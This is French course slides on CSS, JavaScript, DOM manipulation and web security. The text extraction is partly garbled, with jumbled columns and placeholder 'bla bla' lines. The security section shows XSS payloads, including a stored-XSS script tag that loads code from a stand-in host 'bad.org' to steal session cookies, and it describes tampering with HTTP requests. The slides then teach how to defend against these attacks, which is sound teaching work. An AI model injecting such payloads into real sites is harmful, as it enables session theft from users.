Académique Documents
Professionnel Documents
Culture Documents
bibliographie
=> feuilles de style CSS
cadre, légende,
bla bla
bla bla
bla bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
bla
CSS 3 en cours de développement
bla bla bla bla bla bla bla bla
fond
bla bla bla bla bla bla
x t a d i l Quelques nouveautés CSS3 :
y u b e j m
Listes : puce, z V c f K n
colonnes dégradé
numérotation bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla :
Deux parties :
Syntaxe du langage : ECMAScript
Manipulation des objets du document : DOM
Présentation de JavaScript
insertion de code JS dans la page web
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html> function pair(){
<head> nb = prompt('entrez un nombre', '');
<title>test JS</title> 1 (nb%2 == 0) ? alert('pair') : alert('impair');
<script type="text/javascript" src="script.js"></script> }
</head> script.js 1
<body>
<script type="text/javascript">
<!--
function affiche_date(){ entrez un nombre
mercredi 26 octobre 2011 23:10:18 impair
2 var aujourdhui = new Date();
alert(aujourdhui.toLocaleString());
}
// -->
</script>
<noscript><p>activez JS !</p></noscript>
<div> Le code peut être placé dans :
<h1>Test JS</h1> hello
<a href="javascript:affiche_date()">date</a> (1) fichier externe .js
3 <a href="javascript:alert('hello')">hello</a>
<form action="test.php"> (2) élément script
<div><input type="button" value="clic" onclick="pair()"></div>
</form> (3) attribut contenant URL
</div> 4
</body> (4) attribut événementiel
</html> onclick, onchange, onselect,…
ECMAScript
bases du langage
variable a ue de fi d’i st uctio
types création objet
boolean var ne = 0; invocation
number var age = 0; méthode
string var txt = '';
object var date_courante = new Date();
null var annee_courante = date_courante.getFullYear();
undefined var exp = /^[12]\d{3}$/; // format 1xxx ou 2xxx
opérateurs
/* tant que l'utilisateur n'a pas saisi une affectation
commentaires
annee correcte afficher boite dialogue */ = += -= *= /= %=
do { logiques ! && ||
marques ne = prompt('annee ', '');
relationnels
de bloc
} while ( !exp.test(ne ) || (ne > annee_courante)); < <= > >= == != === !==
arithmétiques + - */ %
age = annee_courante - ne;
concaténation +
autres opérateurs
txt= 'vous avez ' + age + ' ans';
incrémentation ++
(age%10 == 0) ? alert(txt+' ... nouvelle decennie') : alert(txt);
décrémentation --
opérateur conditionnel séquentiel ,
ternaire objets : this, in
ECMAScript
bases du langage
Fonctions Mathématiques
Math
Déclaration
Ne peut pas être utilisé avec new
function nom_fonction([arg1,...,argN]){
...
return expression; // optionnel Constantes
}
Math.PI
Appel Méthodes
o _fo tio ag ,ag ,… ; ceil, floor, round
min, max
Les arguments sont passés par valeur random
Les objets sont passés par adresse abs, sqrt, pow
t igo o t ie : si , os, …
alert(Math.ceil(7.48));
alert(Math.random());
ECMAScript
bases du langage
Tableaux
Création Accès Propriétés
tab[i] avec i >= 0 Taille d’u ta leau : length
var tab1 = new Array val , val , … ;
va ta = val , val , … ; Parcours Méthodes
var tab3 = new Array(); for, for in, while join, reverse, sort, …
Chaînes de caractères
Propriétés
Taille d’u e haî e : length <input type="button" value="calculer"
onclick="res.value = parseFloat(nb1.value) +
Méthodes parseFloat(nb2.value)">
substring, toLowerCase, toUpperCase
split, …
Conversion :
parseInt, parseFloat
ECMAScript
bases du langage
Dates et heures
Création
var date_courante = new Date([timestamp]);
ma_date = new Date(an, mois, jour[, h, mn, s, ms]);
Méthodes pour les heures var noel = new Date(2011, 11, 25);
alert(noel.toLocaleString());
getHours setHours
// dimanche 25 décembre 2011 00:00
getMinutes setMinutes
getSeconds setSeconds
getMilliseconds setMilliseconds
toLocaleString
ECMAScript
bases du langage
Objets
Exceptions
Création try {
// code où une exception peut être levée
Pas de classe, fonction constructeur ou notation { } } catch (e){
C atio d’o jet : new // t aite e t e as d’e eptio
}
texte
test
p p comment
un commentaire
attr attr texte em texte texte
un ! :)
texte
test
childNodes
Manipulation des objets du document
DOM – acc s au œuds
Accès par
ID document.getElementById('id_element') -> noeud
Nom d’ l e t document.getElementsByTagName('nom_element') -> olle tio de œuds
Valeu de l’att i ut name document.getElementsByName('val_attribut') -> collection de œuds
test
attributes
childNodes
var el = document.getElementById('elt1');
alert(el.tagName); // P var tab_el = document.getElementsByTagName('p');
alert(el.parentNode.nodeName); // BODY alert(tab_el[0].childNodes[2].nodeName); // #text
alert(el.childNodes[1].nodeName) // EM alert(tab_el[0].childNodes[2].data); // !
Manipulation des objets du document
DOM – modifier la structure et le contenu
un test ! body Contenu
:)
DOM 0 : innerHTML, innerText
id=elt1 p p
Lecture : data
Ajout : appendData(txt), insertData(i, txt)
texte em texte texte
Modifier : replaceData(i, j, txt)
un ! :) Supprimer des caractères : deleteData(i, taille)
texte
c’est un !!! :)
texte texte
test :)
var el = document.getElementById('elt1');
el.firstChild.insertData , " ’est " ;
var el = document.getElementById('elt1');
el.lastChild.appendData("!!");
// DOM 0
node = el.nextSibling.cloneNode(true);
el.innerHTML = " ’est u <em>test</em> !!!<p>:)</p>";
el.appendChild(node);
Manipulation des objets du document
DOM – modifier le style avec JS & CSS
Propriété CSS : :)
node.style.propriete = 'valeur'; p p
Classe de style :
node.className = 'nom_classe'; attr attr texte em texte texte
value font-size:18pt
var el = document.getElementById('elt1'); attr p p
el.parentNode.style.fontSize = '18pt';
el.className = 'ex'; attr attr attr texte em texte texte
el.style.fontFamily = 'Calibri'; un
name class name id name style ! :)
texte
value ex value elt1 value color:purple;
font-family:Calibri test
Manipulation des objets du document
DOM – manipuler les formulaires
<form action='test.php' onsubmit="return confirm('envoyer?')"> .erreur { background-color:#FFCCCC }
<div> .correct { background-color:white }
<input type="text" name="nb" onchange="verifNb(this)">
<input type="radio" name="choix" value="1" propriétés - champs textes
onclick="cb.disabled=true"> cheque text, hidden, password, textarea,
<input type="radio" name="choix" value="2" boutons submit, reset, button
onclick="cb.disabled=false" checked> CB value defaultValue
<input type="text" name="cb">
<input type="submit" value="envoyer"> propriétés - radio / cases à cocher
</div> value checked
</form> désactivé propriétés - listes de choix
selectedIndex options (collection)
prop. options : selected, value, text
Evénements
function verifNb(noeud){ envoyer ?
onsubmit, onreset, onclick,
if (isNaN(noeud.value)){ onchange, onblur, onfocus, onselect
noeud.className='erreur'; Bloquer un événement
} else { return false;
noeud.className='correct';
Activer/désactiver des champs
} envoi bloqué
} propriétés disabled et readOnly
Sécurité
Altération manuelle
altération URL de la requête HTTP
http://www.vacances.fr/reservation.php?id=2
variables lieu=venise
dans le corps
Sécurité
la vérification des données côté client est insuffisante
plugin
(tamperData, proxy serveur
tamperIE) (webScarab)
client
lieu=venise
Altération
client
telnet 80 variables en-tête & corps
Requête forgée valeurs champs en-tête
Sécurité
XSS
nom Smith
mail john.smith@bad.org
serveur
Inscription OK
Nom : Smith
Sécurité
XSS – exemple simple
nom Smith<script>alert(document.cookie)</script>
mail john.smith@bad.org
serveur
Inscription OK
Nom : Smith
Sécurité
XSS – attaque stockée
Smith <script
src=http://bad.org/c.js>
</script>
Application XSS
Web SGBD
XSS
mail john.smith@bad.org
Sécurité
XSS – attaque stockée
l’a s à la essou e
p ovo ue l’e voi du XSS
Application XSS
Web SGBD
XSS 2
Smith <script src=http://bad.org/c.js></script>
Sécurité
XSS – attaque stockée
exécution du XSS
Application XSS
Web SGBD
XSS 2
3
Smith <script src=http://bad.org/c.js></script>
GET http://bad.org/c.js
bad.org
Sécurité
XSS – attaque stockée
exécution du XSS
Application XSS
Web SGBD
XSS 2
3
GET http://bad.org/c.js
c.js
bad.org
Sécurité
XSS – attaque stockée
Application XSS
Web SGBD
XSS 2
3
5
GET http://bad.org/c.js
bad.org
Sécurité
XSS – attaque stockée
exploitation des
informations de session
Application XSS
Web SGBD
XSS 2
3
5
vol de session idsess=a2345effb9ccd78 6
GET http://bad.org/c.js
bad.org
Sécurité
protection contre le XSS
Développeur
deux règles de protection contre le XSS
filtrer les entrées (listes blanches)
protéger les sorties
définir le jeu de caractères de la page web
coder les entités html
Smith <script src=http://bad.org/c.js></script>
Utilisateur
Outils
Bibliothèques JavaScript
Framework : jQuery, Dojo, Prototype, …
Firebug :
onglet DOM
Style (CSS)
Script (débogueur)
Modernizr http://www.modernizr.com
Tests de conformité
ACID 3 (CSS, DOM2, ECMAScript) http://acid3.acidtests.org/
DOM Conformance test suites ECMAScript http://www.w3.org/DOM/Test
http://test262.ecmascript.org/
Liens
Spécifications
ECMAScript http://www.ecma-international.org/publications/standards/Ecma-262.htm
DOM (Level 2 HTML) http://www.w3.org/DOM/DOMTR.html
CSS 2.1 (Recommandation W3C juin 2011) http://www.w3.org/TR/CSS2
CSS 3 :
http://www.w3.org/Style/CSS/specs
sélecteurs (Rec. W3C septembre 2011) http://www.w3.org/TR/css3-selectors
colonnes (CR W3C avril 2011) http://www.w3.org/TR/css3-multicol
Sécurité
OWASP (Open Web Application Security Project)
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
http://www.owasp.org/index.php/Category:OWASP_Guide_Project
CWE / SANS Top 25 Most Dangerous Software Errors 2011
http://cwe.mitre.org/top25